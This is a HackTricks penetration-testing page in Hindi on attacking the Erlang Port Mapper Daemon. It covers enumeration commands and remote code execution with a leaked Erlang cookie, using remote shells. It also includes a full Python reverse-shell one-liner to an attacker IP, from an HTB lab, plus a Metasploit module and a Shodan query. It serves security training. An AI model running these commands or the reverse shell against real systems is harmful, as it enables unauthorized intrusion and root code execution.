tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Info

Erlang Port Mapper Daemon (epmd) वितरित Erlang उदाहरणों के लिए एक समन्वयक के रूप में कार्य करता है। यह प्रतीकात्मक नोड नामों को मशीन पते से मानचित्रित करने के लिए जिम्मेदार है, मूल रूप से यह सुनिश्चित करता है कि प्रत्येक नोड नाम एक विशिष्ट पते से जुड़ा हो। epmd की यह भूमिका नेटवर्क में विभिन्न Erlang नोड्स के बीच निर्बाध इंटरैक्शन और संचार के लिए महत्वपूर्ण है।

डिफ़ॉल्ट पोर्ट: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

यह डिफ़ॉल्ट रूप से RabbitMQ और CouchDB इंस्टॉलेशन पर उपयोग किया जाता है।

Enumeration

Manual

bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

स्वचालित

bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

यदि आप प्रमाणीकरण कुकी को लीक कर सकते हैं, तो आप होस्ट पर कोड निष्पादित करने में सक्षम होंगे। आमतौर पर, यह कुकी ~/.erlang.cookie में स्थित होती है और इसे एर्लांग द्वारा पहले प्रारंभ पर उत्पन्न किया जाता है। यदि इसे संशोधित या मैन्युअल रूप से सेट नहीं किया गया है, तो यह 20 वर्णों की लंबाई के साथ एक यादृच्छिक स्ट्रिंग [A:Z] होती है।

bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

अधिक जानकारी के लिए https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
लेखक एक प्रोग्राम भी साझा करते हैं जो कुकी को ब्रूटफोर्स करता है:

स्थानीय कनेक्शन

इस मामले में हम स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए CouchDB का दुरुपयोग करने जा रहे हैं:

bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

उदाहरण लिया गया https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
आप Canape HTB मशीन का उपयोग कर सकते हैं अभ्यास करने के लिए कि इस vuln का कैसे शोषण करें

Metasploit

bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें